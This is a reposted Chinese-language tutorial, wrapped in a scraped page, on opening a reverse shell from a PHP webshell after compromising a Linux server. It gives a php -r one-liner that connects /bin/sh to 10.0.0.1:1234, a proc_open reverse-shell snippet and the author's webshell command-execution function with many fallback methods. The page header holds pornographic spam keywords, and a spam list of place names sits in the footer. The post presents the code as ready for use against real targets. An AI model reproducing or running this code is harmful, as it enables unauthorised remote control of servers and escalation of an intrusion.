国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

php webshell下直接反彈shell的例子

2024-05-04 21:50:20
字體:
來源:轉載
供稿:網友

Linux下,有時候拿到webshell需要提權,提權必須要得到一個交互式的shell。

我看了一下常用的php webshell,對于命令執行、反彈shell都沒有完善的方式。很多webshell里都沒有proc_popen、popen這兩種方式,特別是proc_popen,比如phpspy。

在我收集的反彈shell集合(http://tool.p1ng.pw/getshell.html)中,有一個方法,就是在命令行中輸入:

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

但是有個問題,如果在webshell里執行如上代碼的話,會把系統的標準輸入輸出重定向到/bin/sh里,導致php-fpm直接502,然后彈的shell也會瞬間掉了,這個方式比較粗魯。而我的思路是:我只希望把我新創建的進程(/bin/sh)的標準輸入輸出重定向到socket中,不去動系統的東西。

當系統沒有禁用proc_popen的時候,我們是可以借助proc_popen輕松反彈這樣的一個shell的。不需要任何其他語言的支持,php足矣。

  1. $sock = fsockopen($ip$port); 
  2. $descriptorspec = array
  3.         0 => $sock
  4.         1 => $sock
  5.         2 => $sock 
  6. ); 
  7. $process = proc_open('/bin/sh'$descriptorspec$pipes); 
  8. proc_close($process); 

其中$ip是反彈的ip,$port是反彈的端口,這也是我個人版webshell里一個小功能:

反彈shell的時候web頁面會卡死,因為php沒有異步的函數,默認也不支持多線程,所以卡住這個現象很正常,不影響反彈shell。

不過我試了,在windows下似乎不能完美運行。不知道是我環境問題(殺毒軟件等)還是代碼問題。silic的大馬中有一個windows反彈的功能,windows下可以使用:

具體代碼請自行到silic webshell中查看。我沒有試過,不知道成功率怎么樣。

另附我的webshell中執行命令的函數,各位看官自行修改后可以使用。有可以補充的,歡迎告訴我呀~

  1. function exec_comm($cmd, &$type = '', &$suc = TRUE) 
  2.     set_error_handler("customError"); 
  3.     $re = false; 
  4.     if (emptyempty($cmd))  return '執行結果'
  5.     if (emptyempty($type)){ 
  6.         if(function_exists('exec')){ 
  7.             @exec($cmd$re); 
  8.             $re = join("/n"$re); 
  9.             $type = 'exec'
  10.         }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){ 
  11.             $type = 'shell_exec'
  12.         }else if(function_exists('system')){ 
  13.             @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean(); 
  14.             $type = 'system'
  15.         }else if(function_exists('passthru')){ 
  16.             @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean(); 
  17.             $type = 'passthru'
  18.         }else if(is_resource($f = popen($cmd,"r"))){ 
  19.             while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f); 
  20.             $type = 'popen'
  21.         }else if(function_exists('proc_open')){ 
  22.             $descriptorspec = array
  23.                 0 => array("pipe""r"), 
  24.                 1 => array("pipe""w"), 
  25.                 2 => array("pipe""w"
  26.              ); 
  27.             $process = proc_open($cmd$descriptorspec$pipes); 
  28.             if (is_resource($process)) { 
  29.                 fwrite($pipes[0], "{$cmd}/r/n"); 
  30.                 fwrite($pipes[0], "exit/r/n"); 
  31.                 fclose($pipes[0]); 
  32.                 // 讀取輸出 
  33.                 while (!feof($pipes[1])) { 
  34.                     $re .= fgets($pipes[1], 1024); 
  35.                 } 
  36.                 fclose($pipes[1]); 
  37.                 while (!feof($pipes[2])) { 
  38.                     $re .= fgets($pipes[2], 1024); 
  39.                   } 
  40.                 fclose($pipes[2]); 
  41.                 proc_close($process); 
  42.             } 
  43.         } 
  44.     }else if($type == 'wscript'){ 
  45.         $snew COM('wscript.shell'); 
  46.         $exec = $s->exec($cmd); 
  47.         $stdout = $exec->StdOut(); 
  48.         $re = $stdout->ReadAll(); 
  49.     }else if($type == 'application'){ 
  50.         $exe = gpc('exe''post''c:/windows/system32/cmd.exe'); 
  51.         $shellnew COM('Shell.Application'); 
  52.         $shell->ShellExecute($exe,$cmd); 
  53.         $re = "請查看{$cmd}中輸入文件內容/n"
  54.     } //Vevb.com 
  55.     if ($re === false){ $re = '命令執行可能失敗,可能是執行函數被禁用或執行無回顯'$suc = FALSE;} 
  56.     return $re

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 屏南县| 临高县| 靖安县| 北海市| 平泉县| 禹州市| 获嘉县| 四子王旗| 长宁区| 成安县| 梧州市| 肇源县| 开江县| 手游| 张家界市| 金塔县| 曲阳县| 巴南区| 福泉市| 卢龙县| 新乡县| 克什克腾旗| 绥阳县| 黄石市| 青阳县| 晋中市| 连山| 西充县| 濮阳市| 海淀区| 新民市| 进贤县| 宜君县| 鄂伦春自治旗| 宜兰市| 红安县| 绥德县| 英吉沙县| 清新县| 扶沟县| 讷河市|